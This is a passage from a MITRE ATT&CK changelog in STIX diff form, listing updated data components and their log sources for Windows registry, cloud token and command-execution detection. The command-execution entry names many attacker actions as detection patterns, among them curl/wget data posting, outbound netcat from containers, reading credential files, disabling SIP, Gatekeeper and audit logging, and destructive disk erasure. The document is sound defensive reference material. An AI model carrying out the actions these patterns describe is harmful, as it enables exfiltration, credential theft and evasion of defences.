x_mitre_log_sources		[{'name': 'AWS:CloudTrail', 'channel': 'SessionToken used without preceding MFA or login event'}, {'name': 'm365:unified', 'channel': 'SessionId reused from different device/browser fingerprint'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRoleWithSAML'}, {'name': 'saas:access', 'channel': 'SAML token accepted without preceding login challenge'}, {'name': 'm365:exchange', 'channel': 'Mailbox access using SAML token without corresponding MFA event'}, {'name': 'AWS:CloudTrail', 'channel': 'GetSessionToken, AssumeRoleWithWebIdentity'}, {'name': 'macos:unifiedlog', 'channel': 'New session initiated using cookies without normal MFA or password validation'}, {'name': 'm365:unified', 'channel': 'Session activity without correlated login event'}, {'name': 'AWS:CloudTrail', 'channel': 'AssumeRole, GetFederationToken, GetSessionToken'}, {'name': 'azure:signinlogs', 'channel': 'TokenIssued, RefreshTokenUsed'}, {'name': 'saas:googleworkspace', 'channel': 'OAuthTokenGranted, APIRequest'}, {'name': 'm365:unified', 'channel': 'OAuthTokenIssued, FileAccessed, MailItemsAccessed'}, {'name': 'kubernetes:apiserver', 'channel': 'serviceAccount token used in API requests not tied to workload identity'}, {'name': 'NSM:Connections', 'channel': 'Pre-authentication keys generated or token signing anomalies'}, {'name': 'macos:unifiedlog', 'channel': 'Web sessions initiated with newly forged tokens'}, {'name': 'saas:auth', 'channel': 'API requests made with tokens not associated with expected user logins'}, {'name': 'azure:signinLogs', 'channel': 'TokenIssuanceStart, TokenIssuanceSuccess'}, {'name': 'saas:googleworkspace', 'channel': 'access_token issued'}, {'name': 'm365:unified', 'channel': 'TokenIssued, FileAccessed'}, {'name': 'AWS:CloudTrail', 'channel': 'GetCallerIdentity'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:47.351000+00:00	2025-10-21 15:14:37.480000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0050] Windows Registry Key Access

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0050', 'external_id': 'DC0050'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4657'}, {'name': 'EDR:hunting', 'channel': 'Behavioral rule for registry enumeration under credential-related paths'}, {'name': 'Autoruns:RegistryScan', 'channel': 'Enumerate Winlogon subkeys for unknown or unsigned binaries'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:12.634000+00:00	2025-10-21 15:14:39.242000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0056] Windows Registry Key Creation

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0056', 'external_id': 'DC0056'}]
x_mitre_log_sources		[{'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=12'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:09.376000+00:00	2025-10-21 15:14:37.143000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0045] Windows Registry Key Deletion

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0045', 'external_id': 'DC0045'}]
x_mitre_log_sources		[{'name': 'Windows Registry', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:12:03.268000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0063] Windows Registry Key Modification

Current version: 2.0

Version changed from: 1.1 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0063', 'external_id': 'DC0063'}]
x_mitre_log_sources		[{'name': 'Windows Registry', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4657'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=14'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670'}, {'name': 'WinEventLog:Sysmon', 'channel': 'StubPath value written under HKLM\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components'}, {'name': 'm365:unified', 'channel': 'MacroSecuritySettingsChanged or SafeModeDisabled'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=13, 14'}, {'name': 'WinEventLog:Security', 'channel': 'modification to Winlogon registry keys such as Shell, Notify, or Userinit'}, {'name': 'WinEventLog:Security', 'channel': 'Registry key modification HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient\\EnableMulticast'}, {'name': 'macos:unifiedlog', 'channel': 'g_CiOptions modification or SIP state change'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Autoruns reports DLLs in AppInit_DLLs key'}]

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:11:59.993000+00:00	2025-10-22 18:34:46.572000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0
x_mitre_data_source_ref	x-mitre-data-source--0f42a24c-e035-4f93-a91c-5f7076bd8da0

mobile-attack

Major Version Changes

[DC0112] API Calls

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0112', 'external_id': 'DC0112'}]
x_mitre_log_sources		[{'name': 'Application Vetting', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:21.246000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0119] Application Assets

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0119', 'external_id': 'DC0119'}]
x_mitre_log_sources		[{'name': 'Application Vetting', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203

values_changed
STIX Field	Old value	New Value
modified	2024-03-29 14:59:30.164000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0064] Command Execution

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0064', 'external_id': 'DC0064'}]
x_mitre_log_sources		[{'name': 'Command', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of realmd, samba-tool, or ldapmodify with user-related arguments'}, {'name': 'macos:unifiedlog', 'channel': 'dsconfigad or dscl with create or append options for AD-bound users'}, {'name': 'EDR:AMSI', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog or journalctl'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Get-ADTrust\|GetAllTrustRelationships'}, {'name': 'gcp:audit', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of script interpreters by systemd timer (ExecStart)'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction'}, {'name': 'm365:unified', 'channel': 'Automated forwarding or file sync initiated by a logic app'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4104'}, {'name': 'linux:syslog', 'channel': 'Suspicious script or command execution targeting browser folders'}, {'name': 'esxi:shell', 'channel': 'snapshot create/copy, esxcli'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands like systemctl stop , service stop, or kill -9 '}, {'name': 'macos:unifiedlog', 'channel': 'launchctl unload, kill, or pkill commands affecting daemons or background services'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security-agent detection or enumeration commands'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of Microsoft script to enumerate custom forms in Outlook mailbox'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggers execution of mailbox-stored custom form'}, {'name': 'auditd:EXECVE', 'channel': "Use of mv or cp to rename files with '.' prefix"}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or SetFile -a V'}, {'name': 'esxi:shell', 'channel': 'interactive shell'}, {'name': 'networkdevice:cli', 'channel': 'CLI command'}, {'name': 'macos:unifiedlog', 'channel': 'log stream'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to locale, timedatectl, or cat /etc/timezone'}, {'name': 'macos:unifiedlog', 'channel': 'defaults read -g AppleLocale, systemsetup -gettimezone'}, {'name': 'macos:unifiedlog', 'channel': 'profiles install -type=configuration'}, {'name': 'auditd:SYSCALL', 'channel': 'sleep function usage or loops (nanosleep, usleep) in scripts'}, {'name': 'm365:unified', 'channel': 'Search-Mailbox, Get-MessageTrace, eDiscovery requests'}, {'name': 'EDR:cli', 'channel': 'Command Line Telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "loginwindow" or "pfctl"\''}, {'name': 'networkdevice:syslog', 'channel': 'Command Audit / Configuration Change'}, {'name': 'WinEventLog:Microsoft-Office/OutlookAddinMonitor', 'channel': 'Outlook loading add-in via unexpected load path or non-default profile context'}, {'name': 'macos:unifiedlog', 'channel': 'exec or sudo usage with NOPASSWD context or echo modifying sudoers'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4104'}, {'name': 'WinEventLog:Powershell', 'channel': 'EventCode=4104'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Execution of update-ca-certificates or trust anchor modification commands'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain'}, {'name': 'auditd:EXECVE', 'channel': 'gcore, gdb, strings, hexdump execution'}, {'name': 'auditd:SYSCALL', 'channel': 'connect, execve, write'}, {'name': 'esxi:hostd', 'channel': 'command execution'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of auditctl, systemctl stop auditd, or kill -9 auditd'}, {'name': 'macos:syslog', 'channel': 'system.log'}, {'name': 'esxi:hostd', 'channel': '/var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'docker:daemon', 'channel': 'docker exec or docker run with unexpected command/entrypoint'}, {'name': 'auditd:SYSCALL', 'channel': "execve call including 'nohup' or trailing '&'"}, {'name': 'macos:unifiedlog', 'channel': 'nohup, disown, or osascript execution patterns'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CommandLine=copy-item or robocopy from UNC path'}, {'name': 'esxi:shell', 'channel': 'invoked remote scripts (esxcli)'}, {'name': 'auditd:EXECVE', 'channel': 'execution of systemctl with subcommands start, stop, enable, disable'}, {'name': 'networkdevice:cli', 'channel': 'Policy Update'}, {'name': 'auditd:SYSCALL', 'channel': 'None'}, {'name': 'AWS:CloudTrail', 'channel': 'eventName: RunInstances, CreateUser, PutRolePolicy, InvokeCommand'}, {'name': 'gcp:audit', 'channel': 'methodName: setIamPolicy, startInstance, createServiceAccount'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands executed within an SSH session where no matching logon/authentication event exists'}, {'name': 'esxi:hostd', 'channel': 'modification of config files or shell command execution'}, {'name': 'kubernetes:audit', 'channel': 'Shell process (e.g., /bin/sh, /bin/bash) spawned in a container without an interactive session attached (i.e., automation anomaly)'}, {'name': 'macos:unifiedlog', 'channel': "Execution of 'profiles install -type=configuration'"}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:com.apple.Terminal'}, {'name': 'networkdevice:syslog', 'channel': 'eventlog'}, {'name': 'esxi:hostd', 'channel': 'shell access or job registration'}, {'name': 'WinEventLog:PowerShell', 'channel': 'PowerShell launched from outlook.exe or triggered without user invocation'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email matches crafted rule trigger pattern tied to persistence logic'}, {'name': 'linus:syslog', 'channel': 'None'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104'}, {'name': 'linux:syslog', 'channel': 'Unusual outbound transfers from CLI tools like base64, gzip, or netcat'}, {'name': 'macos:unifiedlog', 'channel': 'base64 or curl processes chained within short execution window'}, {'name': 'esxi:shell', 'channel': 'base64 or gzip use within shell session'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Invocation of /usr/bin/defaults write or /usr/bin/plutil modifying plist keys'}, {'name': 'auditd:SYSCALL', 'channel': 'chmod, execve'}, {'name': 'macos:unifiedlog', 'channel': "chmod command with arguments including '+s', 'u+s', or numeric values 4000–6777"}, {'name': 'macos:unifiedlog', 'channel': 'command includes dscl . delete or sysadminctl --deleteUser'}, {'name': 'fs:fsusage', 'channel': 'file system activity monitor'}, {'name': 'networkdevice:cli', 'channel': 'ip ssh pubkey-chain'}, {'name': 'esxi:shell', 'channel': 'scripts or binaries with misleading names'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of GUI-related binaries with suppressed window/display flags'}, {'name': 'linuxsyslog', 'channel': 'nslcd or winbind logs'}, {'name': 'macos:unifiedlog', 'channel': 'DS daemon log entries'}, {'name': 'esxi:hostd', 'channel': 'logline inspection'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk / asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase startup-config, format disk'}, {'name': 'networkdevice:syslog', 'channel': 'command_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: iptables, nft, firewall-cmd modifications'}, {'name': 'macos:unifiedlog', 'channel': 'pfctl -d, socketfilterfw --setglobalstate off, or modifications to com.apple.alf'}, {'name': 'esxi:hostd', 'channel': 'esxcli network firewall set commands'}, {'name': 'docker:events', 'channel': 'container exec rm\|container stop --force'}, {'name': 'esxi:hostd', 'channel': 'event stream'}, {'name': 'networkdevice:cli', 'channel': 'CLI command logs'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log entries containing "esxcli system clock get"'}, {'name': 'networkdevice:syslog', 'channel': 'command-exec: CLI commands containing "show clock", "show clock detail", "show timezone" executed by suspicious user/source'}, {'name': 'networkdevice:cli', 'channel': 'cmd: cmd=show clock detail'}, {'name': 'auditd:EXECVE', 'channel': 'curl -X POST, wget --post-data'}, {'name': 'linux:syslog', 'channel': 'sudo chage\|grep pam_pwquality\|cat /etc/login.defs'}, {'name': 'macos:unifiedlog', 'channel': 'pwpolicy\|PasswordPolicy'}, {'name': 'networkdevice:syslog', 'channel': "cmd='show aaa' OR 'show running-config \| include password\|aaa' OR 'show aaa common-criteria policy all'"}, {'name': 'networkdevice:syslog', 'channel': 'CLI command audit'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands to load, copy, or replace system images (e.g., 'copy tftp flash', 'boot system')"}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell script to enumerate or remove malicious Home Page folder config'}, {'name': 'm365:messagetrace', 'channel': 'Inbound email triggering Outlook to auto-access folder tied to malicious Home Page'}, {'name': 'macos:unifiedlog', 'channel': 'Command line contains smbutil view //, mount_smbfs //'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Invocation of scp, rsync, curl, or sftp'}, {'name': 'esxi:hostd', 'channel': 'scp/ssh used to move file across hosts'}, {'name': 'auditd:EXECVE', 'channel': 'command line arguments containing lsblk, fdisk, parted'}, {'name': 'macos:unifiedlog', 'channel': 'log messages related to disk enumeration context or Terminal session'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls modifying local mail filter configuration files'}, {'name': 'esxi:hostd', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': 'sudo execution of ffmpeg/gst-launch/v4l2-ctl by non-standard user'}, {'name': 'docker:api', 'channel': 'docker logs access or container inspect commands from non-administrative users'}, {'name': 'esxi:shell', 'channel': 'command IN ("esxcli vm process list", "vim-cmd vmsvc/getallvms")'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: process_name IN ("virsh", "VBoxManage", "qemu-img") AND command IN ("list", "info")'}, {'name': 'esxi:shell', 'channel': 'openssl\|tar\|dd'}, {'name': 'AWS:CloudTrail', 'channel': 'SSM RunCommand'}, {'name': 'azure:activity', 'channel': 'Intune PowerShell Scripts'}, {'name': 'm365:exchange', 'channel': 'Cmdlet: Get-GlobalAddressList, Get-Recipient'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands like 'show running-config', 'copy running-config', or 'export config'"}, {'name': 'esxi:syslog', 'channel': 'boot logs'}, {'name': 'networkdevice:syslog', 'channel': 'system boot logs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: service stop syslog, systemctl stop rsyslog, kill -9 syslog'}, {'name': 'macos:unifiedlog', 'channel': 'defaults write com.apple.system.logging or logd manipulation'}, {'name': 'esxi:hostd', 'channel': 'esxcli system syslog config set or reload'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: openssl pkcs12, certutil, keytool'}, {'name': 'macos:unifiedlog', 'channel': 'process calling security find-certificate, export, or import'}, {'name': 'networkdevice:cli', 'channel': "Execution of CLI commands altering crypto parameters (e.g., 'crypto key generate rsa modulus 512')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Process in container namespace executes curl\|wget\|bash\|sh\|python\|nc with outbound args'}, {'name': 'm365:exchange', 'channel': 'Get-RoleGroup, Get-DistributionGroup'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of systemctl or service with enable/start parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of cat, less, grep, journalctl targeting log directories (/var/log/)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of log show, fs_usage, or cat targeting system.log'}, {'name': 'AWS:CloudTrail', 'channel': 'GetLogEvents: High frequency log exports from CloudWatch or equivalent services'}, {'name': 'esxi:shell', 'channel': 'Execution of cat, tail, grep targeting /var/log/vmkernel.log or /var/log/hostd.log'}, {'name': 'esxi:shell', 'channel': 'CLI usage logs'}, {'name': 'macos:syslog', 'channel': '/var/log/system.log'}, {'name': 'macos:unifiedlog', 'channel': 'execution of launchctl load/unload/start commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Exchange Cmdlets'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of python, perl, or custom binaries invoking compression libraries'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, USER_CMD'}, {'name': 'auditd:USER_CMD', 'channel': 'USER_CMD'}, {'name': 'esxi:shell', 'channel': 'Command execution trace'}, {'name': 'auditd:SYSCALL', 'channel': 'bash/zsh of base64, tar, gzip, or openssl immediately after file write'}, {'name': 'linux:osquery', 'channel': 'Command-line includes base64 -d or openssl enc -d'}, {'name': 'macos:unifiedlog', 'channel': 'base64 -d or osascript invoked on staged file'}, {'name': 'auditd:EXECVE', 'channel': 'exec: Execution of dd, efibootmgr, or flashrom modifying firmware/boot partitions'}, {'name': 'auditd:EXECVE', 'channel': 'curl -d, wget --post-data'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Processes executing sendmail/postfix with forged headers'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil partitionDisk or eraseVolume with partition scheme modifications'}, {'name': 'networkdevice:cli', 'channel': 'format flash:, format disk, reformat commands'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, xz, zip, or openssl with compression/encryption arguments'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, setfacl, or attr commands with suspicious parameters'}, {'name': 'esxi:shell', 'channel': 'shell command execution for chmod, chown, or file permission modification on VMFS or system files'}, {'name': 'networkdevice:Firewall', 'channel': 'Audit trail or CLI/API access indicating commands like no access-list, delete rule-set, clear config'}, {'name': 'auditd:EXECVE', 'channel': 'grep/cat/awk on files with password fields'}, {'name': 'macos:unifiedlog', 'channel': 'grep/cat on files matching credential patterns'}, {'name': 'kubernetes:audit', 'channel': 'process execution involving curl, grep, or awk on secrets'}, {'name': 'AWS:CloudTrail', 'channel': 'command-line execution invoking credential enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'promiscuous mode transitions (ioctl or ifconfig)'}, {'name': 'fs:fsusage', 'channel': 'access to BPF devices or interface IOCTLs'}, {'name': 'networkdevice:syslog', 'channel': "exec command='monitor capture'"}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Unexpected DLL or component loaded at Office startup'}, {'name': 'm365:office', 'channel': 'Startup execution includes non-default component'}, {'name': 'macos:unifiedlog', 'channel': 'diskutil eraseDisk/zeroDisk or asr restore with destructive flags'}, {'name': 'networkdevice:cli', 'channel': 'erase flash:, erase nvram:, format disk'}, {'name': 'macos:unifiedlog', 'channel': 'spctl --master-disable, csrutil disable, or defaults write to disable Gatekeeper'}, {'name': 'esxi:shell', 'channel': "esxcli system syslog config set --loghost='' or stopping hostd service"}, {'name': 'networkdevice:syslog', 'channel': 'no logging buffered, no aaa new-model, disable firewall'}, {'name': 'auditd:EXECVE', 'channel': 'git push, curl -X POST'}, {'name': 'linux:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'command log'}, {'name': 'networkdevice:cli', 'channel': 'command logs'}, {'name': 'networkdevice:syslog', 'channel': 'interactive shell logging'}, {'name': 'esxi:hostd', 'channel': "Execution of '/bin/vmx' or modifications to '/etc/rc.local.d/local.sh'"}, {'name': 'auditd:SYSCALL', 'channel': 'chattr, rm, shred, dd run on recovery directories or partitions'}, {'name': 'networkdevice:syslog', 'channel': 'command sequence: erase → format → reload'}, {'name': 'macos:unifiedlog', 'channel': 'process: at, job runner'}, {'name': 'macos:osquery', 'channel': 'Interpreter exec with suspicious arguments as above'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl or wget writing files to /tmp/ followed by chmod or execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of downgraded interpreters such as python2 or forced fallback commands'}, {'name': 'auditd:PROCTITLE', 'channel': 'proctitle contains chmod, chown, chgrp, setfacl, or attr with suspicious parameters (777, 755, +x, -R)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of gsettings set org.gnome.login-screen disable-user-list true'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of dscl . create with IsHidden=1'}, {'name': 'linux:syslog', 'channel': 'sshd logs'}, {'name': 'esxi:shell', 'channel': 'Shell Access/Command Execution'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Logging'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': 'udev rule reload or trigger command executed'}, {'name': 'linux:cli', 'channel': 'Shell history logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath contains "zip" OR "base64"\''}, {'name': 'networkdevice:cli', 'channel': 'command logging'}, {'name': 'esxi:hostd', 'channel': 'Command Execution'}, {'name': 'macos:osquery', 'channel': 'launchd + process_events'}, {'name': 'esxi:vmkernel', 'channel': 'DCUI shell start, BusyBox activity'}, {'name': 'esxi:hostd', 'channel': 'remote CLI + vim-cmd logging'}, {'name': 'networkdevice:syslog', 'channel': 'CLI Command Audit'}, {'name': 'm365:defender', 'channel': 'Activity Log: Command Invocation'}, {'name': 'WinEventLog:PowerShell', 'channel': 'CmdletName: Get-Recipient, Get-User'}, {'name': 'WinEventLog:PowerShell', 'channel': "Execution of 'Get-WmiObject Win32_Product' or similar PowerShell cmdlets"}, {'name': 'linux:shell', 'channel': 'Manual invocation of software enumeration commands via interactive shell'}, {'name': 'auditd:SYSCALL', 'channel': 'Command line arguments including SPApplicationsDataType'}, {'name': 'AWS:CloudTrail', 'channel': 'ssm:GetCommandInvocation'}, {'name': 'esxi:shell', 'channel': 'esxcli software vib list'}, {'name': 'auditd:EXECVE', 'channel': 'execution of setfattr or getfattr commands'}, {'name': 'macos:unifiedlog', 'channel': 'xattr utility execution with -w or -p flags'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of spoofing tools (e.g., hping3, nping, scapy) sending UDP packets to known amplifier ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of tools like cat, grep, or awk on credential files'}, {'name': 'macos:unifiedlog', 'channel': "execution of 'security', 'cat', or 'grep' commands accessing credential storage"}, {'name': 'linux:syslog', 'channel': "CLI access to 'show running-config', 'show password', or 'cat config.txt'"}, {'name': 'auditd:SYSCALL', 'channel': 'execve of curl, rsync, wget with internal knowledge base or IPs'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of systemctl, loginctl, or systemd-inhibit commands related to sleep/hibernate'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4103,4104,4105, 4106'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of xev, xdotool, or input activity emulators'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl load or boot-time plist registration'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of interpreters creating archive-like outputs without calling tar/gzip'}, {'name': 'networkdevice:syslog', 'channel': 'command audit'}, {'name': 'networkdevice:cli', 'channel': 'Interface commands'}, {'name': 'macos:unifiedlog', 'channel': 'dscl -create'}, {'name': 'esxi:vmkernel', 'channel': 'esxcli system account add'}, {'name': 'ebpf:syscalls', 'channel': 'useradd or /etc/passwd modified inside container'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of insmod, modprobe, or rmmod commands by non-standard users or outside expected timeframes'}, {'name': 'macos:unifiedlog', 'channel': 'kextload execution from Terminal or suspicious paths'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Execution of PowerShell without -NoProfile flag'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution of update-ca-certificates or openssl with suspicious arguments'}, {'name': 'macos:unifiedlog', 'channel': 'xattr -d com.apple.quarantine or similar removal commands'}, {'name': 'azure:signinLogs', 'channel': 'OperationName=SetDomainAuthentication OR Update-MsolFederatedDomain'}, {'name': 'linux:syslog', 'channel': 'Sudo or root escalation followed by filesystem mount commands'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4101'}, {'name': 'networkdevice:cli', 'channel': "Execution of privileged commands such as 'copy tftp flash', 'boot system', or 'debug memory'"}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4105'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4106'}, {'name': 'auditd:SYSCALL', 'channel': 'execve syscalls for discovery commands (uname, hostname, id, whoami, ps, netstat, mount) with command-line parameter analysis'}, {'name': 'auditd:PROCTITLE', 'channel': 'process title records containing discovery command sequences and environmental assessment patterns'}, {'name': 'macos:unifiedlog', 'channel': 'Security framework operations including keychain access, cryptographic operations, and certificate validation'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, New-InboxRule'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'networkdevice:cli', 'channel': "Execution of commands disabling crypto hardware acceleration (e.g., 'no crypto engine enable')"}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of curl, wget, or custom scripts accessing financial endpoints'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of chattr to set +i or +a attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of chflags hidden or setfile -a V'}, {'name': 'esxi:shell', 'channel': 'mv, rename, or chmod commands moving VM files into hidden directories'}, {'name': 'esxi:hostd', 'channel': 'execution + payload hints'}, {'name': 'linux:osquery', 'channel': 'process_events.command_line'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn, process:exec'}, {'name': 'esxi:vobd', 'channel': 'shell session start'}, {'name': 'networkdevice:cli', 'channel': 'shell command'}, {'name': 'WinEventLog:Microsoft-Office-Alerts', 'channel': 'Office application warning or alert on macro execution from template'}, {'name': 'm365:unified', 'channel': 'Set-Mailbox, Set-MailboxPolicy, Set-TrustedLocation'}, {'name': 'm365:office', 'channel': 'Execution of unsigned macro from template'}, {'name': 'linux:cli', 'channel': 'Terminal Command History'}, {'name': 'macos:unifiedlog', 'channel': 'csrutil disable'}, {'name': 'macos:unifiedlog', 'channel': "log show --predicate 'process == '"}, {'name': 'networkdevice:syslog', 'channel': 'Privilege-level command execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of tar, gzip, bzip2, or openssl with output redirection'}, {'name': 'saas:PRMetadata', 'channel': 'Commit message or branch name contains encoded strings or payload indicators'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder 